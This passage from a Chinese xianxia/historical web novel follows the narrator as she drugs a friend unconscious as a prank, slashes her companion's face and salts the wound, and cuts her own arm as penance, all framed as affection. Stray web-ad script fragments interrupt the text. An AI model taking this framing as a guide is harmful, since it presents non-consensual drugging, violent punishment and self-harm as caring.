“你们……”我真是见不得柳花郎那副样子,却自然也不肯把自己妹妹骂进去,就只对着柳花郎道:“你知道个屁,你是真不懂啊!我还以为你只是没让花铁铁得手,想着怕是你自行找了别的女人,或者已死相逼让花铁铁帮你找别的女人泄欲,我打算掌握一手消息,这对我很重要,所以一再确认,想以后拿捏她,笑话他……哇唔,我是真没想到……就,纯用手啊?不是哥们儿你得多能忍啊!还真是宁死不曲是个狠人啊,这天生仙骨就是不一样,催,情,药都硬忍!那江湖上用来逼人就范的催,情,药怎么能和一般的花街柳巷或者床笫之间调情用的春.药相提并论的呢?自然加了东西,有让人不得不就范的道理。用了这种催,情,药,若是不阴阳调和,会重创心脉肾脉,武功好一点的武功尽废,差一点的……哦,你得亏是有仙骨护体,不然就筋脉错乱气血逆行,暴体而亡了。所以比起死比起做废人,大家肯定选择就范啊,不过就是英雄气短儿女情长,事后负责,还是顶天立地的汉子,再说快意江湖,你说的你忘啦,催,情,药你用手?我真是佩服!不你搁那儿誓死不屈个啥劲儿?又不是没从过?这花铁铁呢……”当时面对你这么个傻子得多无助?!我真是同情! “这个花铁铁居然这么狠!”平安不等我说完就义愤填膺。 柳花郎不是笨人,我这一番解惑他自然想明白自己稀里糊涂中了多大一招,若非仙骨护体,他真是死了好几死了。他颤抖着破碎的身体,一脸煎熬,捂着耳朵,痛苦地低声低吼:“不要,不要再提她的名字,不要让我听见她的名字。” “不至于吧,那你名字还跟人姓重了呢?”我认真道:“你是遭罪了,那花铁铁也没料到你这么刚啊!没主她当时也慌了,她没那么坏,就是粗鲁了一点,心地哪有你表现的那么恶毒,除了她说我心眼子多压得不长个儿这事。” “没坏你身上,她就是个好人对吧?”柳花郎绝望的看着我。 “哟,搁这儿等我呢?行吧,我多嘴了。不提了,你和花铁铁……”的事,我再也不提了!我还没说完。柳花郎又激动起来。 “别提她,别提她,我……我得,我得改名字,我改成……”柳花郎想了一下,“我以后就叫……就叫檀郎,檀郎怎么样,檀香的檀?”他一脸光芒,欣喜万分。 我和惠王闻言蹙眉,一脸不悦,正要否定,平安却一脸兴致,“檀郎好啊,多好听啊,檀郎,檀郎,檀郎……”平安笑着温柔地一声声叫着,她声音本来很好听,可是我和惠王这会儿听得心都揪到了嗓子眼儿。 “平安别叫了。”我说着一个眼神,示意平安噤声。平安虽不解其中意,却听话的捂着嘴巴不敢言语。 柳花郎不解问:“怎么啦,不是挺好听的吗?” 我一边看了看他的位置,发现他有一点点被太子的大帐挡到了,一边道:“是很好听啊,你往这边点,再一点,”柳花郎疑惑的问我在干什么,我也不理他,只让他按我的意思照做,他很是听话,终于他挪到合适的位置,我一边接着道:“檀郎这个名字……”一边运功蓄力一掌把他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 打飞,“你不配呢!” 谪仙一般的柳花郎尖叫着,在空中划过一道美丽的弧线,落进不远处的湖中…… “长安……”平安又震惊,又不解。 “檀,是太子殿下的名讳。”惠王低声为平安解惑。 平安闻言倒吸一口凉气,又庆幸道:“啊,我还叫了好几声呢,还好殿下没听见。” 平安话音刚落,便听前面大帐里传来太子温和的声音,他笑道:“没关系,不知者不罪。” 柳花郎水性还不错,不一会儿跌跌撞撞从湖里出来,一上岸就累得伏地不起,我跑过去给他说明缘由,他起初是不服的,但我说我这样先行惩罚了他,太子就不好说什么,其实也是在变相护着他,不论怎样我是真把他当弟弟的,叫他不要和我这做兄长的置气。 说完又运气把他头发衣服震干,他一下子来了兴致,坐起身来问我:“啊,干了,这么轻松这么快就干了?这就是真气吗?” “不是,我是习武之人,这是内力,和修仙判定修为高低的真气,还是有些区别的。”我又劝解他,赶紧把修仙的事忘了吧,好好做个三妻四妾,荒淫无道的凡人。 他一下子像个没有灵魂的布娃娃一般,躺回草地上,许久道:“我本来就是立志想做天下第一乐师的,如今不过是走回第一志愿罢了,没什么好难过的,就当打了个副本吧。遗憾啊……”他这话是在安慰自己。 “怎么能不遗憾呢?放眼天下,谁没有遗憾呢?你看我,一辈子长不大,此生灵魂禁锢在这一副残躯里,不遗憾吗?”我望着湖面,看白鹭对影成双,顾影自怜,我却最讨厌照镜子,“你来自那个世界,平安也有幸去过那个世界,我要你梦回去的时候好好学习的知识,你若是学好了,在这世界,就算不修仙,我想若只发挥那些能力的十之一二,在世人眼里也和神明一样了吧,汽车火车飞机游轮,光听着,就觉得是仙界才有的存在……” 柳花郎闻言,像是重新获得生命,眼睛充满了光亮,一下子兴奋不已,站起身,拍着手来回踱步,“对啊,对啊,是啊,我应该学好数理化的,学好数理化,走遍天下,哦不,不光走遍天下都不怕,穿越时空我也会赢啊,对对对,我得好好好学习,下次梦回去,我可不能再虚度光阴。” “那你一般怎样才能梦回去?” “嗯……一般……”柳花郎抱臂,一手支着下巴思考,“一般我身体要是比较孱弱生病陷入昏迷,昏迷好几天,通常那种时候就可以梦穿回去。” “打晕不行哈?昨天就没成功。”我昨晚是有打晕过他的,“那中毒呢,中毒行不行?” “中毒?没试过……你要干啊……”柳花郎看着我一脸坏笑向他欺身过去,心下已经了然我要干什么,想要慌乱逃避,却哪里来的及,话没说完应声到地。 “没试过,那就试试呗。”我拍了拍手,弹除药物残留,一边哈哈笑,一边给他整理睡姿,一边道:“也不是什么毒药,我哪能随身带着毒呢,就是让你这两天昏迷不醒的迷药,你且先在这里睡着,等堂邑夫回来我让他抱你回营帐,哎,堂邑夫那个傻子到底去哪里了?” 我这才想起来,已经大半天没见着堂邑夫了,心里的不悦又多了几份。 31. 毁容 太后宠溺梁王几乎没了底限,梁王一进京,太后便多次向陛下请愿恩待弟弟,赐居上林苑别宫,出入大内觐见太后皇帝,乘坐天子车架,进入司马门特免下车可长驱直入,甚至特许不必卸下随身佩剑,入太后宫可乘坐天子舆撵…… 太后寿辰在即,刘景又一向仁孝,虽然诸多特许逾制僭越,却也一一恩准。梁王进京便风光无限,所以梁王郡主才张扬跋扈成那个样子,竟然当街与民争利,殴打良家子…… 这事儿也传到宫里,到底不了了之,可能他们觉得不过就是女孩子家打打闹闹,没啥好说嘴的。到是郡主翻车,他们重视的很,处罚好一大群人…… 但打架这事在我这儿还远远没过去,我妹妹吃亏了,一共七道抓痕,九处淤青,背上肩上还有五个被金发簪扎出来的小血洞。这些都是要还的,我妹妹是我的心肝宝贝,若是普通争执也就算了,这都动手动家伙了,下手又狠又恶毒,这事就这么算了? 哼,等着吧,马车翻了只是开胃菜…… 午膳太子大帐中剩了一些炙羊肉,太子赏赐下来,平安趁热带了些去找郑清去了。我在树下和惠王读书探讨,堂邑夫一脸兴奋地骑马回来,他兴冲冲地有话要说,我让他先把远处熟睡的柳花郎扛回帐子里,然后过来吃炙羊肉。他做完事情以后,欢欢喜喜地到我身边来,给惠王见礼,端起我喝剩的半杯茶一饮而尽,又连续喝了几杯。 “你去哪了,渴成这样,午饭吃了吗?这羊肉殿下赏的,给你留的。”我一手拿着书,关心的问。今天他休沐,原也不用随王伴驾,却不知上哪浪荡去了。 “长安,我要成亲啦!”堂邑夫撕扯下一块羊肉沾了盐巴吃起来。 “成亲?”我大吃一惊。惠王的眼神从书上挪到堂邑夫脸上,一脸疑问。 “对啊!”堂邑夫有些得意,仿佛刚才是给我准备的惊喜一般,神情像是在说:哈哈,没想到吧。 我瞪了他一眼,复又认真确定道:“想好了?” “想好了,看这里,看着没?”堂邑夫凑过来,指着他的脸。 我趴过去认真看,惠王也向前倾了倾身子跟着看,“看什么,什么都没有啊?” “你再看看,你再看看有什么。”堂邑夫又往前凑了凑。 “嗯,有眼睛鼻子嘴巴,还有一个桃花痣?” 堂邑夫蹙眉娇嗔地“啧”了一声,仿佛长期以来没正行的是我,他指着脸颊,道:“你就没看见这里红红的吗?那是她的口脂,她在这儿亲了一下,我欢喜的打算再也不洗脸了,就这一下,我的心找到了跳动的意义,我下定决心要娶她的,日子都定好,下个月初九。”堂邑夫捂着被亲过的脸,陶醉不已。 “快别摸了,摸一路了吧,口脂印儿早没了。”我见不得他那副欲,仙,欲,死的样子,不过也真替他高兴,“哇呜,心跳找到意义了,那这回一定是动真格的了,真好。” 只是不知是哪个楼里的姑娘,不过总之能让这小子收心就好,接下来还有很多大事要做,堂邑夫不能总这么乱来,以前我们就是刀尖上求生存,以后怕是也要经历生死,把终身大事定了,成家留后是极对的。 我很高兴,道:“下个月初九,那也没几天了,倒是急了些,嗯……婚事办的体面些,你去苏和那里,支一万两,黄金。” 惠王听了,被茶呛的不住咳嗽,心道:什么婚事体面到要一万两黄金? 我赶紧站起身抚摸拍打他的后背,给他顺气,却手不释卷,想把堂邑夫的事处理完,接着看。 不过惠王这个爱呛水的毛病得好好改改,喝水得慢慢喝,要不就和堂邑夫一样大口大口地喝,可别又着急喝,又一小口一小口的赶不上趟。 我接着道:“支一万两黄金,置办田宅奴仆婚礼什么的,嗯……聘礼,连嫁妆一并备齐了,别叫姑娘为这些事操心,剩下的钱成亲后都给你夫人拿着,主持中馈,一大家子,日常花销也大,你再用钱也别从夫人那里取,只去苏和那里支就行。咱们没爹没娘,若岳父岳母健在,便把他们接回家一起好好过日子,夫人娘家若有未婚的兄弟姊妹也一并接来,成了婚的,你也别忘了多走动多提携多照顾。嗯……”我一一为堂邑夫打算,看着惠王,眼睛一转,要了一个恩典,道:“还请惠王赏个恩典,做主婚人。” 惠王点头应允。堂邑夫行礼谢恩。 我接着道:“有这道恩典,这份儿体面,岳父母一家定会更加敬重你。尤其你们夫妻,至亲至疏夫妻,夫妻亲密,难免失了敬重,吵架拌嘴说些难听的太容易伤感情,你的性子我了解,平时万事无所谓的样子,但若是真伤了心,恐难回头,倘若日后夫妻反目,怎对得起你今日欢喜。有王爷这层关系,她便是再生气,说话也得掂量,小心与你过日子,才可长远。” 楼里的姑娘赎身钱都是很贵的,能让堂邑夫收心,下定决心求娶你,那应该更是绝色,一万两黄金应是够啦。 我正思量着,堂邑夫轻松道:“一万两黄金太多了,一百两银子都花不上,有个几十两就够了。” 恩?不舍得?这小子居然不舍得?我心中一惊,当即拐了个弯,打算试一下这“水”的深浅,脸色不变依旧笑意盈盈,但是眼神却冷冽清醒起来。 “哟,原也不在乎这黄白之物,如今要娶新妇过门倒计较起来了。”我笑着打趣道:“就肯花几十两?这是舍不得啊,是嫌弃人家姑娘的出身?还是压根儿就不够爱啊?” “没,没有。”堂邑夫慌了神,尴尬地傻笑着挠了挠后脑勺,并没有发现我的异样。 “说说吧,哪个楼里的姑娘,怎么认识的。”我把手里的书往几案上一放,再无心书上的内容,往前一趴,一副听故事的样子。 “什什么楼里的姑娘,我要娶回家的可是良家子。”堂邑夫赶紧纠正。 “哦,良家子啊?”我人畜无害般笑着,眼睛转了转,一副了然地样子,边点头边继 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 续道:“噢,明白啦,那是生米煮成熟饭得手了?着急负责?”这是怕惹上一身官司,赶紧娶进门来了事啊。竟然作奸犯科!我心中怒火狂烧,脸上依旧和颜悦色,与他说笑。 “负什么负……煮……我倒是想,可那人姑娘说什么也不愿意无媒苟合,先前亲也不让亲,摸也不让摸,这不今天说好婚事,才亲了我一下下,让我拉了拉小手。”堂邑夫看似埋怨,却又甜蜜。 “哦,你倒是想,来,着!”我咬着牙一字一顿笑道。 还好还好,没做下不可挽回的事儿,我心中暗自有些庆幸,但却被堂邑夫不以为然的态度和不知其罪的想法,堵得心口憋闷难受,强忍而不发,我不等他回应,便笑眯眯的打趣他:“啧啧啧,这么火急火燎地回来和我说,没打个商量,日子都定好了,哦,原来这么急着娶是因为一直没得手啊,那说到底不就是馋人家姑娘身子吗,不娶实在得不到?!我说这些日子总不见人,怕就是忙这个吧,绞尽脑汁了使尽浑身解数了,最后是实在没招了?才急得勉强出此下策?” “哎,长安,你说的这是什么?话,话可不好说的这么难听。”堂邑夫终于觉出我的不对劲,脸色严肃起来,听了我的话有些生气了,不悦的看着我。 在我看来,只觉是被我拆穿了心思,恼羞成怒。 他如此看着我,我不恼火,反而笑意更甚,伸手托着他的下巴,仔细打量他,“别动,我看看,我好好看看,我也许久没这么好好打量你了,啧啧啧,瞧瞧这脸蛋,这身段,这惯会花言巧语的嘴,哪有姑娘不犯迷糊啊。”说着我拿起几案上剃羊肉的小刀,在他脸上来回游走。 “哎哎哎,长,长安,你你你,拿刀做甚?”堂邑夫紧张的不行。 “毁你容貌。”我说得漫不经心。 “哎……别别别,为什么啊?”堂邑夫急了,却不敢挣扎。 气氛开始紧张,惠王欲言又止,往后退了退。我们的事,他是真不好干预。 “你说为什么,你现在都敢招惹良家子了。”我一脸恼怒,呵斥道,话音未落,小刀在堂邑夫脸上深深划过,随手将碟子里的盐巴撒上,动作一气呵成,赶紧利落。 “啊,啊,你真下手啊。”堂邑夫尖叫了两下,捂着脸向后倒去,哀伤,恼火,失望,痛苦地埋怨我。 “再有下次我割你舌头,或者送你进宫。”我站起身,一脚踩着几案,俯身看着他,眼睛布满红血丝,眼底有泪,却依旧冷言冷语的威胁,决绝到让人胆寒。 堂邑夫怕极了这样的我,不敢再说什么,却终究忍不住问:“进宫做什么?” “做太监。”我站直身子,绕过几案,走到他身边,贴耳说道。他吓得一哆嗦,我说完随即抬手发力,要试一下堂邑夫武功,不料竟只一招便将其制服,堂邑夫摔出去好远,我气愤不已,快步走过去,踢了他一脚,蹲下来,双手扯着他的领口,厉声道:“竟荒废至此!?”一把将他推倒在地。 32. 狼道 堂邑夫擦了擦嘴角的血,不敢多言,起身单膝跪地,等着我继续发落,他清楚地明白,此刻我是鬼门的掌门。 我不愿他看见我流泪,侧过身,用袖子把眼泪拭干,压着哽咽,怒道:“我太惯着你了,纵得你日渐消沉,纵得你无法无天,从今以后,烟花之地不许去,酒也不许喝,好好读书好好练武,做个好男儿,走正道,胆敢再犯,我废你。” 堂邑夫行跪拜礼领命。 我实在有些忍不住眼泪了,看他还跪着不起来,赶紧打发他,“还不读书去?!快去!” “胳,胳膊脱臼了。”堂邑夫红着眼睛,低着头哽咽地说道。 “自己按上。”我厉声道,但见他那副可怜兮兮的样子,语气不自觉地放柔了,“……过来”他闻言眼睛一亮,起身过来,我仰头看他,堂邑夫习惯性的单膝点地蹲下,与我四目相对,一瞬间两个人都再也忍不住,泪如雨下。 “啊!”堂邑夫随着我的动作轻叫了一声,胳膊按好了,他活动了两下,嘴巴张了张,却什么也没说出来,只别过头,用袖子擦眼泪,却弄的都是血迹,越擦越狼藉。我看了看他脸上的伤口,怎么会不心疼呢?我用帕子给他清理,轻声道:“破相,破的是你的奸,淫之相,不许处理伤口,更不许用药,疤痕留得越深越好。” “好!”堂邑夫点点头。 我与他并肩坐下,看着一望无际的湖面,“堂邑夫,我是掌门,对你有提点教育之责,此心光明,我本不愿多言与你解释,你要记住想留在我身边,就要有足够的能力和德行匹配,你要大量的学习要大量的思考,这世间有太多太多能人,没有毫无道理的横空出世,你以为的极限可能不过是别人的开始。倘若有一日你给我落下太远,跟不上我的思想,理解不了我的行为,有了分歧有了争吵,彼此误会曲解,终成埋怨仇恨,缘分消磨殆尽,我不会许你纠缠,定会轻易将你抛弃。我给你机会,给你时间,你没抓住只怨自己,我希望你永远是那个与我并肩站在雪域山巅,一览众山的阳光朝气,有志向有抱负的,少年郎。 以前我一个眼神你便会意,一个动作你知意图,如今你被烟花之地淹没了灵气,浑身一种腌臢腐败之气,让我很不自在,甚至反感,我不止一次动过驱赶你的念头,可你我刎颈之交啊,我怎么能轻易将你驱逐?今日伤在你身,我心都要疼碎了,你争口气,莫再让我伤心失望了。到底也是我的错,是我一惯纵容你犯错,没在最初及时指正你,让你如今险些犯下大错。我也该罚!” 说着我随手摘下一片草叶运气做刀,在自己的手臂上划了一刀,鲜血瞬间染红了手臂。堂邑夫慌张不已,一边找出我身上的药匣,一边掏出帕子给我包扎,一边哭道:“你这是何苦,是我的错,我认罚的,我不怨恨你的,你这又是何苦,你这比杀了我还让我难受,你看这么大一道口子,你这不是要我的命吗?你干嘛啊,啊啊啊……长安,你干嘛啊……”我推他,拒绝他为我上药,他急的不行,不顾的我推拒,我索性让他帮我上药包扎伤口。 我看着他一边抹眼泪,一边慌张忙碌,深深叹了口气,“我能干嘛啊?难道是为了让你心疼吗?唉,我是掌门,对你有管束之责,没把你管束好,是要受罚的啊。现在,连这些都要我给你解释吗?”他闻言一怔,我苦笑,倚在他肩头,叹了口气,“唉,你还记得那只小狼和小獾狗子吗?那年你刚成年,见我不长个儿,就上山打野味给我补身子,你设下陷阱,陷阱设的有些好看,你说就是要比动物的家还好,才能把动物吸引来。 不多久,来了一只小狼,小狼发现那个漂亮舒适的新家,果真一副开心的不得了的样子,可是只在门口看了一圈便欢蹦乱跳的走了。你好生失望,不料却见小狼引来一只小獾狗子,獾狗子腿短,走得慢,小狼在前面走走停停,时不时回去接它督促它快些,终于到了新家,小狼开心地一蹦一跳的,仿佛在说你看你看,这是我们的新家,你喜欢吗?” 回忆着过往,我和堂邑夫都沉醉其中,不禁勾起嘴角笑着。 “小狼把新家的诱饵拿给小獾狗子吃,自己等在一边,等獾狗子吃饱再去吃。你说那小獾狗子胖的和一个大胖枕头一样,一定是这小狼喂养出来的,就像你喂养我一样。当时我感动的不行,说什么也不肯让它们再往洞里钻中了埋伏,不顾你拦着,赶紧起身冲出去把它们吓走。受了惊吓,小狼一下就窜没影了,小獾狗子胖胖的腿又短,努力蹬着四条腿,跑呀跑,却怎么也追不上小狼了。 我们看了哈哈大笑,那时候你吓唬我说,我是小短腿的獾狗子,让我一定要好好待你,不然你就丢下我,让我怎么也追不上你。可是你看,你不读书不思考不上进,整日留恋花街柳巷,痴迷肉,欲,天长地久,我的思想你不理解,我的行为不理解,起初只是生出疑惑,若不回头,以后一定分歧,发生争吵,有了怨怼,到那时,我才是跑得快的小狼,你成了再也跟不上步调的獾狗子,我不会拖着你走,我会放你自由。 我们一路走来相濡以沫,我们曾经贫穷,食不果腹,甚至衣不蔽体,几度濒死,再煎熬的岁月我们也熬过来了,我们不怕贫穷,不惧死亡。贫穷的困窘,死亡的威胁,从来不会让我们分歧怨怼,反而会让我们更加依赖珍惜彼此。可是思想上一旦出现了鸿沟壁垒,再在一起,便是勉强,便是煎熬,便是彼此毁灭,不如相忘于江湖,成为彼此怀念的记忆。 堂邑夫,说真的,我是害怕那一刻来临的,我舍不得你,可我的性子你了解,就算再舍不得,真的要作出决定,我不会回头。就像你脸上的伤,我观摩了好久,纠结好久,才选好位置,斟酌了力度,怕自己下不了手,我速战速决,趁你不防备,也趁自己不防备,不给自己反悔的机会。堂邑夫,别再有下次了好吗,我真的很害怕会失去 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你。” “好!”堂邑夫已经哭成了泪人,许久许久,他好似想起了什么,看着我道:“那我……主婚人,能不能请太子来,我怕我……” “还想着成亲的事儿呢?”我说了这么多。我心中堵得慌,却一点也没有精力生气,反而笑了笑。“大傻子。” “我会好好对她的。”堂邑夫还在坚定着誓言。 我白了他一眼,“太子是一国储君,国之根本,是人间的神明,你什么身份敢奢求这个体面,惠王给你主婚都是纡尊降贵,你疯了,你脑子……真是,唉,你好好读书吧,那姑娘你就别想了,你真不是那姑娘良人,别去招惹她,不然我真的阉了你。” “可,我答应她了……”堂邑夫不想背信弃义。 “悬崖勒马吧赶紧!大汉家的良家子最是娇贵,这姑娘没让你轻易要了去,也算是救你一命,你若是真得手了,小命这会儿在不在还真不好说。你且把那姑娘找来,我与她分说清楚,那姑娘我要结识一下,守着这么一张脸,嘴巴又极其能说会道讨人欢喜,还能自持监守,这姑娘可以啊。”我不禁心生敬佩,又看了看作势要走的堂邑夫,叫住他:“等一下,把伤口处理一下。”说着我把药匣子扔给他。 “你不是说……”他一手接住药匣子,一脸吃惊又欢喜,又感动的样子。 “气话。”我顿了顿,“身体发肤受之父母,这么大一道口子,你爹娘泉下有知,该难受了。处理好了再去,再换身衣服,都是血,别吓着人家姑娘。” 堂邑夫红着眼,嘟囔了一句:“你胳膊上的那道大口子……你爹娘也难受啊,以后别这样了。”忽然想到,我的伤因他而起,复又坚决道:“长安,你放心,我以后再也不去乱七八糟的地方,酒也戒了,以后一定好好读书,好好练武。” “我信你。” 堂邑夫把魏宁儿带来,良家子出门大多要戴着围帽,平安从马场回来,见来了一个姐妹,开心热情的迎接,魏宁儿谈吐自然,不扭捏不做作,和平安互掀围帽见面,惊艳平安的美貌,却并不因此自惭形秽,不嫉妒,不夸张,只若君子一般,欣赏喜爱平安。我们沿着湖边散步。 魏宁儿说是她先选中堂邑夫的。 选中,这个词值得思考。我不做声,听她说完。原来她已经年满十四岁成年,她父亲病重,母亲在家中没有说话的地位,家中大小事都由兄嫂做主,她下面还有三个弟弟妹妹。 汉家的良家子成年就要许配人家,不然就要缴纳罚金,富贵人家情愿缴纳罚金,多留女儿两年,可是兄嫂不肯给她交罚金,过年之前想着赶紧把她嫁出去。 去找官媒说亲,也都是只挑聘礼多的,不管人家品行如何,年龄多大,是否续弦。最终兄嫂看上一家要给儿子冲喜的富户。魏宁儿死活不依,兄嫂也不逼她,反正过了年,不缴纳罚金,户曹的差人就会带着官媒上门。 33. 入宫 魏宁儿必须要在那之前把自己嫁出去。 她们家就在上林苑散落的庄子上,平时去河边洗衣服,会遇上学宫骑马射猎的学生。她说那些学生对她们这些良家子,也许是敬而远之,也许是不屑,总之从不招惹她们,更不理会有些女子主动的搭讪,对她们从来视而不见听而不闻。 学宫那些天之骄子,她们是万万近不得身的,能谈婚论嫁,简直异想天开,痴人说梦。 有一次堂邑夫进庄子里采买家禽谷物,兄嫂狮子大开口,堂邑夫也不与之争执,扔下银子就走。魏宁儿不顾兄嫂反对,硬是追出好远将多余的银子还给堂邑夫。堂邑夫又不是一般的学宫学生,哪里能那般恪守纪律,定是言行平易了一些,甚至犯了油嘴滑舌的老毛病,魏宁儿觉得有戏,便有了一场机缘的拉扯。 “学宫里的公子,都是这世间最优秀的男子,文武全才,品行端正,家室高贵,随便一个做夫君都是顶好的,我做梦也是不敢奢求的。”魏宁儿温和的说着。 堂邑夫听着有些得意,不自觉挺了挺腰板。 “堂邑夫出身江湖,喜欢不拘小节,我料定他与你熟络以后,难免动手动脚。”我道。 魏宁儿顿了顿,我想围帽底下的她,应该是脸红的。堂邑夫不自在的清了清嗓子,回头蹙眉看着我,示意我别什么都说,给他点面子。 许久,魏宁儿才开口道:“我是喜欢他的,他要,我也是想给他的,可是堂大哥是好人,我不能害他,无媒苟合到底法理不容,他是学宫的学生,我留心打听,知道他们纪律严明如同军法,好多人盯着呢,我兄嫂也不例外,若是有了首尾,他们最先跳出来生事儿,一定狮子大开口,无底洞一样,即便我力证,到时候也是说不清的。学宫的学生都不是一般人,背后关系复杂,被拿了把柄必受胁迫,一旦被人构陷,堂大哥是要下大狱判刑的,侮辱良家子的罪名是很重的,他不死一辈子也毁了,声名狼藉。 即便没有这些枝节,事后我们结为夫妻,这种事也会被人拿出来说嘴诟病,在我心里堂大哥是高洁如玉的君子,我断然不能让他染上这等污秽……其实,还有一个最重要的原因,我……我不想以此挟持他,我想给他后悔的机会,我,我能看出来,他其实是有些摇摆的,他喜欢我,但也没那么喜欢,我是可以感觉到的,可我还有什么好奢求的啊,有幸能嫁给这样一个人,我还要贪心不足吗?” 我和平安听得十分感动,堂邑夫感动之余,十分愧疚,不敢看我们,也不知道该说些什么,尴尬地别过头,看着湖面不知道想什么。 “你读过书?”我问道。 “读过一些,我父亲是汉历三十五年的秀才,后来体弱多病,多次错过春闱,就在庄子上做教书先生,近些年身体更弱了,书也不教了。我家里什么都不多就是书多,我喜欢看书,身上总带着书,干活干累了,就看会儿书歇歇。”说着魏宁儿从背包里取出一本书籍给我展示。 “读书好,喜欢读书好,我喜欢爱读书的人。”我翻了翻她的书,还给她。“你这朋友我交定了。” 我对魏宁儿的认可和喜欢,或许给了堂邑夫信心。 “我即答应娶你,便一辈子都会对你好的。”堂邑夫上前握着魏宁儿的手信誓旦旦。 不等魏宁儿感动,我蹙眉道:“可是宁儿不奢求不贪心,不代表你可以不真心,你问问你的内心深处,那个人是宁儿吗?我不想你为了一个承诺娶一个人,男人一定要娶到此生真爱,女人也一定要嫁给爱她入骨的人,若是不能才退而求其次,你是宁儿的退而求其次,宁儿也不是你的挚爱,你们在一起或许可以岁月静好,但终归各有遗憾。” 魏宁儿有些慌了,急切地辩解:“不不,我是喜欢堂大哥的,我真心爱慕他,我不介意他心里有人,我不贪心,我不奢求,他肯娶我,我简直三生有幸,又有什么遗憾呢!?” 我只看着堂邑夫不多做言语。平安感动魏宁儿的痴情,拍着魏宁儿的肩,小声啜泣。 堂邑夫听了我的话,看着手中握住的魏宁儿的手,又看着魏宁儿几近哀求的表白,最终觉醒一般,放开魏宁儿的手,后退一步,与她保持距离,说了声:“抱歉。” 魏宁儿伤心绝望的蹲在地上,哭道:“那我该怎么办,我该怎么办?”就算比其他人心智清醒很多,却毕竟年幼缺少历练,情绪这东西又向来很难把控,我理解魏宁儿的一时失态。 “不要把希望寄托在别人身上,尤其是男人身上,婚姻是可以改变命运,但急切的指望婚姻改变命运,为了爬出泥淖而去赌,通常不会让你逃出生天,只会让你陷入另一个更无望的绝境。堂邑夫真的不是你的良人,你跟着他,会很辛苦。一辈子内心煎熬,我不想你此生爱而不得,蹉跎岁月倍受凄苦。”我淡淡的说道:“我们的关系,堂邑夫应该和你说得很清楚了,他的婚事是一定要经过我同意的,我现在表明态度,你们的婚事我不同意。不过我会给你指条明路,我行走江湖多年,看人是准的,你去宫里,必定风生水起。” 平安将魏宁儿扶起来,劝她好好听我的建议。 “梁王进京特赐下榻别宫,虽然紧急调配了宫人,却也不够使用。又有荣玥大公主,梁王元欣郡主,长公主嫡长女高阳郡主,三位上女笄礼在即。再有高阳郡主及笄礼成之后,便是太子大婚,诸多事宜,宫中大量采选宫女,今日京畿下放第一批告示,各地告示已经加急送了出去。你赶得及头一批,有更多机遇,等全国各地的采女来京入宫的时候,聪慧如你,想必早跟着姑姑们学好宫中礼仪,脱颖而出,成为佼佼者,到那个时候你可率先晋升女官,再一步一步向上爬,我看好你,你会出人头地的。” 晋升女官并非先来后到,像我说的那么简单,我承认我画大饼了,但人要有对未来的美好憧憬,且我坚信魏宁儿是有能力的,给她种下一颗种子,她会向着阳光好好发芽,努力成长,做宫官是早晚的事儿。 汉家的宫廷女官又称宫官,地位之高,堪称历朝历代之最,并不是寻常人以为的宫女,她们是不用做宫女的差事的,女官有品秩,领俸禄,而非月例,负责管理宫女,掌管后宫刑狱,照顾皇子公主,教习皇子公主秀女甚至嫔妃宫规礼仪,负责宫中祭祀,内外命妇册封典仪等等。 淑贵妃便是女官出身,所以说在汉家,入宫做女官,前途无量。但是汉家皇室不喜奢靡,宫人配置很少,太后宫里女官宫女加起来也不过十数人。宫中宫人们的添补,历来都 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是小范围的采选,这一次扩充也是前无仅有,机会难得。因为太子马上大婚的缘故,不少人嗅到这次参选宫女另一层深意,不少世家和富绅都试探性的送了家中庶女,或者旁支女进宫,有的落魄寒门甚至送嫡女进宫,想着投石探路博一博,或许大有可为。 魏宁儿让我说的有些心动,却依然舍不得堂邑夫。 “情不知所起,一往而深,有些人一旦进了心里,就会惊艳无数个岁月,可是若非良人,毋宁弃之,慢慢试着放下,若是尝试过了,还放不下,那就留在心里喜欢着吧。别耽误自己,也别耽误他,若是有一天,他要追求他心里那个人,你却成了他的拖累,他会恨你的。” 魏宁儿哽咽,“道理我是懂的,也给他留了反悔的机会,可真到这一刻,我感觉我的心都碎了,有些话说起来好容易,做起来真难啊。” “别难受,忙起来就好了,走,时辰正好,我们这就送你进宫去。”疗愈情伤的最好办法就是忙碌起来,若是能换一个环境,会好得更快些,恰好这两点,眼下魏宁儿都能占上。 “这么快?”平安大吃一惊。 “对啊,这么快,我还没和家里商量。”魏宁儿也惊得手足无措。 “商量什么?你那兄嫂是能跟你有商有量的人吗?在家靠父母,出门靠兄弟,你现在出门在外,靠我们就行了,事不宜迟,赶紧走吧!”说完就吩咐堂邑夫牵两匹马来。 堂邑夫有意和魏宁儿保持距离,我和魏宁儿同乘一骑,堂邑夫带着平安。 宫门口排着长长的队伍,都是京畿长安城内外远近的良家子。选拔宫女,有大明宫掖庭治下内务府,登记造册,验明正身,便入大明宫掖庭留居,经内务府统一,教习宫规,筛选优良者,分派各宫。 我让堂邑夫带上银两,快马加鞭,去魏宁儿家里取她的户籍,特意嘱托一定要斤斤计较,讨价还价,百般为难,断不可轻易松口,一定要以最低的价钱拿到户籍,必要时可以搬出咱们的后台,狗仗人势一下。但也别太跋扈,落下仗势欺人的把柄。堂邑夫挑挑眉,给了我一个你放心,尺度我最会拿捏的表情,骑上马就走了。 我一番打点,托人找到每日引我入宫觐见刘景的黄门,他要随侍刘景,便派了他的干儿子来招待我们。我送了两份谢礼,一份给黄门一份给这位忙前忙后体贴入微的小黄门。 小黄门要给我们插队,我说先不着急,我们还要等人,还有好多体己话要讲,让他找几个凳子来,我们去城墙的阴凉下,聊会儿天,看会儿书。 平安道:“那咱们不插队也不排队,那要是排不上了怎么办?看样子还得好久呢,要是宫门下了钥,咱们岂不是出不去了?” 